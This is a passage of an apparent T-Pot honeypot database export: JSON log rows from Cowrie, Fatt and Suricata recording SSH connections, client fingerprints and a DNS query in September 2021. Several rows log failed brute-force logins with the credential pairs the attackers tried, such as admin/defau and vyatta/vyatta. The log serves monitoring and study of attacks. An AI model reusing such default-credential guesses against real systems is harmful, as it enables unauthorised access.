"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 51860, "dest_port": 22, "timestamp": "2021-09-20T11:06:43.659369", "@timestamp": "2021-09-20T11:06:43.659Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30403	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:34:41.170948+03	2021-09-20 14:45:02.958141+03	{"_id": "XAb8AnwBvYTbRNuEnDwS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 4935, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1288017504476100, "@version": "1", "in_iface": "enp5s0", "src_port": 46484, "dest_port": 53, "timestamp": "2021-09-20T11:34:41.170948Z", "@timestamp": "2021-09-20T11:34:41.170Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
21303	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:06:43.869372+03	2021-09-20 14:15:03.490613+03	{"_id": "DgbjAnwBvYTbRNuEAwII", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 39458, "dest_port": 22, "timestamp": "2021-09-20T11:06:43.869372", "@timestamp": "2021-09-20T11:06:43.869Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21304	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:44.563976+03	2021-09-20 14:15:03.491613+03	{"_id": "DwbjAnwBvYTbRNuEBQKS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1726282299882458, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 33870, "dest_port": 22, "timestamp": "2021-09-20T11:06:44.563976Z", "@timestamp": "2021-09-20T11:06:44.563Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21305	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:44.948648+03	2021-09-20 14:15:03.492613+03	{"_id": "HAbjAnwBvYTbRNuEBgLu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:38746 (192.168.176.2:22) [session: 6872d04b1153]", "session": "6872d04b1153", "@version": "1", "protocol": "ssh", "src_port": 38746, "dest_port": 22, "timestamp": "2021-09-20T11:06:44.948648Z", "@timestamp": "2021-09-20T11:06:44.948Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21306	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:44.328597+03	2021-09-20 14:15:03.494613+03	{"_id": "JAbjAnwBvYTbRNuEBgLu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ef4f33bd8365", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:44.328597Z", "@timestamp": "2021-09-20T11:06:44.328Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21307	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:44.276173+03	2021-09-20 14:15:03.495613+03	{"_id": "GAbjAnwBvYTbRNuEBgLu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [smmsp/smmsp] failed", "session": "c29d67f115fa", "@version": "1", "password": "smmsp", "username": "smmsp", "timestamp": "2021-09-20T11:06:44.276173Z", "@timestamp": "2021-09-20T11:06:44.276Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21314	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:38.094689+03	2021-09-20 14:15:03.504613+03	{"_id": "mwbiAnwBvYTbRNuE6wAf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:36598 (192.168.176.2:22) [session: c0f8f17e80c2]", "session": "c0f8f17e80c2", "@version": "1", "protocol": "ssh", "src_port": 36598, "dest_port": 22, "timestamp": "2021-09-20T11:06:38.094689Z", "@timestamp": "2021-09-20T11:06:38.094Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21308	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:44.906274+03	2021-09-20 14:15:03.496612+03	{"_id": "PgbjAnwBvYTbRNuEBgL3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 38994, "dest_port": 22, "timestamp": "2021-09-20T11:06:44.906274", "@timestamp": "2021-09-20T11:06:44.906Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
21309	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:44.290067+03	2021-09-20 14:15:03.497612+03	{"_id": "PwbjAnwBvYTbRNuEBgL3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [admin/defau] failed", "session": "8f46dcae31ae", "@version": "1", "password": "defau", "username": "admin", "timestamp": "2021-09-20T11:06:44.290067Z", "@timestamp": "2021-09-20T11:06:44.290Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21310	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:45.187347+03	2021-09-20 14:15:03.499613+03	{"_id": "TgbjAnwBvYTbRNuECgLV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [vyatta/vyatta] failed", "session": "a247dfb3bbe2", "@version": "1", "password": "vyatta", "username": "vyatta", "timestamp": "2021-09-20T11:06:45.187347Z", "@timestamp": "2021-09-20T11:06:45.187Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21311	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:06:45.127553+03	2021-09-20 14:15:03.500613+03	{"_id": "UwbjAnwBvYTbRNuECgLV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 48102, "dest_port": 22, "timestamp": "2021-09-20T11:06:45.127553", "@timestamp": "2021-09-20T11:06:45.127Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21312	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:37.511463+03	2021-09-20 14:15:03.501614+03	{"_id": "lwbiAnwBvYTbRNuE6wAf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:35274 (192.168.176.2:22) [session: 7639ba68c7fe]", "session": "7639ba68c7fe", "@version": "1", "protocol": "ssh", "src_port": 35274, "dest_port": 22, "timestamp": "2021-09-20T11:06:37.511463Z", "@timestamp": "2021-09-20T11:06:37.511Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
